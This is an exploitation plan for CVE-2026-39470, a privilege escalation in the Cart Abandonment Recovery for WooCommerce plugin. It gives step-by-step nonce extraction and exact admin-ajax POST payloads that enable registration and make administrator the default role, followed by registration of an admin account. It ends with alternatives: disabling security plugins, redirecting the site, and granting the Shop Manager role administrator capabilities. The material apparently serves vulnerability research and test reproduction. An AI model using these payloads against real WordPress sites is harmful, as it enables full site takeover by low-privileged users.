Exploitation Research Plan: CVE-2026-39470 (Privilege Escalation)

1. Vulnerability Summary

The Cart Abandonment Recovery for WooCommerce plugin (versions < 2.1.0) contains an Incorrect Privilege Assignment vulnerability. Specifically, the Ajax_Setting::save_setting method allows authenticated users with the manage_woocommerce capability (such as Shop Managers) to update arbitrary WordPress options. Because the plugin does not validate that the option_name provided in the request belongs to its own set of settings, an attacker can modify critical site options, such as enabling user registration and changing the default user role to administrator, leading to full site takeover.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php
• Action: save_setting (registered as wp_ajax_save_setting)
• HTTP Method: POST
• Parameters:
  • action: save_setting
  • security: The nonce for wcar_save_setting.
  • option_name: The WordPress option to modify (e.g., default_role).
  • value: The new value for the option (e.g., administrator).
• Authentication: Required. Authenticated as a user with manage_woocommerce capability (e.g., Shop Manager).

3. Code Flow

1. Registration: WCAR\Admin\Ajax\Ajax_Setting::register_ajax_events() checks current_user_can( 'manage_woocommerce' ) and registers the save_setting AJAX action.
2. Entry Point: When a request with action=save_setting hits admin-ajax.php, the save_setting() method in admin/ajax/ajax-setting.php is called.
3. Permissions Check: The method again verifies current_user_can( 'manage_woocommerce' ) (Line 72).
4. Nonce Verification: The method verifies the nonce provided in the security parameter against the action wcar_save_setting (Line 84).
5. Input Extraction:
   • option_name is extracted from $_POST['option_name'] and sanitized via sanitize_text_field (Line 90).
   • value is extracted from $_POST['value'] (Line 91).
6. Vulnerable Sink: The code calls $success = wcf_ca()->helper->save_meta_fields( $option, $value ); (Line 101).
7. Exploitation: Since $option is not restricted to plugin-specific keys, an attacker can pass default_role or users_can_register.

4. Nonce Acquisition Strategy

The nonce wcar_save_setting is required. It is localized for the admin interface when the plugin's settings pages are loaded.

1. Identify Page: The settings page for this plugin is typically found at wp-admin/admin.php?page=woo-cart-abandonment-recovery.
2. Identify Variable: Based on common CartFlows/Astra patterns, the nonce is likely localized in a global JavaScript object such as wcar_admin or wcar_vars.
3. Extraction:
   • Navigate to the plugin settings page as a Shop Manager.
   • Execute JavaScript to retrieve the nonce:

     // Search for localized data
     window.wcar_admin?.wcar_save_setting_nonce || window.wcar_vars?.security
     

   • Based on the source code, the nonce action is wcar_save_setting. The localization key is likely wcar_save_setting or security.

5. Exploitation Strategy

The goal is to enable registration and set the default role to administrator.

Step 1: Obtain Nonce

Use the browser to access the settings page and extract the nonce.

Step 2: Enable Registration

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=save_setting&security=[NONCE]&option_name=users_can_register&value=1

Step 3: Change Default Role to Administrator

Request:

POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=save_setting&security=[NONCE]&option_name=default_role&value=administrator

Step 4: Create Admin Account

Navigate to /wp-login.php?action=register and register a new user. This user will automatically be assigned the administrator role.

6. Test Data Setup

1. Plugin Installation: Install and activate woo-cart-abandonment-recovery version < 2.1.0.
2. WooCommerce Installation: WooCommerce must be active as the plugin depends on it.
3. Attacker User: Create a user with the shop_manager role.

   wp user create attacker attacker@example.com --role=shop_manager --user_pass=password
   

7. Expected Results

• Step 2 and 3 should return {"success":true}.
• The WordPress database should reflect the changes in the wp_options table.
• A new user registered via the frontend should have the administrator role.

8. Verification Steps

After the HTTP requests, verify the changes via WP-CLI:

# Verify registration is enabled
wp option get users_can_register
# Expected: 1

# Verify default role
wp option get default_role
# Expected: administrator

9. Alternative Approaches

If updating default_role is blocked or fails, a Shop Manager can try to modify their own capabilities directly if the save_meta_fields helper supports user meta.

However, a more potent alternative is modifying the active_plugins option to deactivate security plugins or modifying siteurl/home to cause DoS/Redirection, though these do not directly lead to privilege escalation.

If the site uses a custom role manager, one could also target the wp_user_roles option, which stores the capabilities associated with each role, and add administrator capabilities to the shop_manager role itself. This requires sending a serialized array as the value.